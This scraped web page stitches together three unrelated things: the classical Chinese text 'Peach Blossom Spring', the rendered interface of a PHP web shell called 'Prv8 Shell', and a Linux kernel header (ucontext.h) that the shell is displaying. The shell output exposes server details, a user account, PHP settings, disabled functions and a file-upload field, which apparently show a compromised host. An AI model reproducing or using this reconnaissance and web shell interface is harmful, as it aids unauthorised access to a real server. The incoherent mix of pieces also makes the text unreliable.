.

　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory : /usr/include/asm/

Upload File :

Current File : //usr/include/asm/ucontext.h

/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _ASM_X86_UCONTEXT_H
#define _ASM_X86_UCONTEXT_H

/*
 * Indicates the presence of extended state information in the memory
 * layout pointed by the fpstate pointer in the ucontext's sigcontext
 * struct (uc_mcontext).
 */
#define UC_FP_XSTATE	0x1

#ifdef __x86_64__
/*
 * UC_SIGCONTEXT_SS will be set when delivering 64-bit or x32 signals on
 * kernels that save SS in the sigcontext.  All kernels that set
 * UC_SIGCONTEXT_SS will correctly restore at least the low 32 bits of esp
 * regardless of SS (i.e. they implement espfix).
 *
 * Kernels that set UC_SIGCONTEXT_SS will also set UC_STRICT_RESTORE_SS
 * when delivering a signal that came from 64-bit code.
 *
 * Sigreturn restores SS as follows:
 *
 * if (saved SS is valid || UC_STRICT_RESTORE_SS is set ||
 *     saved CS is not 64-bit)
 *         new SS = saved SS  (will fail IRET and signal if invalid)
 * else
 *         new SS = a flat 32-bit data segment
 *
 * This behavior serves three purposes:
 *
 * - Legacy programs that construct a 64-bit sigcontext from scratch
 *   with zero or garbage in the SS slot (e.g. old CRIU) and call
 *   sigreturn will still work.
 *
 * - Old DOSEMU versions sometimes catch a signal from a segmented
 *   context, delete the old SS segment (with modify_ldt), and change
 *   the saved CS to a 64-bit segment.  These DOSEMU versions expect
 *   sigreturn to send them back to 64-bit mode without killing them,
 *   despite the fact that the SS selector when the signal was raised is
 *   no longer valid.  UC_STRICT_RESTORE_SS will be clear, so the kernel
 *   will fix up SS for these DOSEMU versions.
 *
 * - Old and new programs that catch a signal and return without
 *   modifying the saved context will end up in exactly the state they
 *   started in, even if they were running in a segmented context when
 *   the signal was raised..  Old kernels would lose track of the
 *   previous SS value.
 */
#define UC_SIGCONTEXT_SS	0x2
#define UC_STRICT_RESTORE_SS	0x4
#endif

#include <asm-generic/ucontext.h>

#endif /* _ASM_X86_UCONTEXT_H */

haha - 2025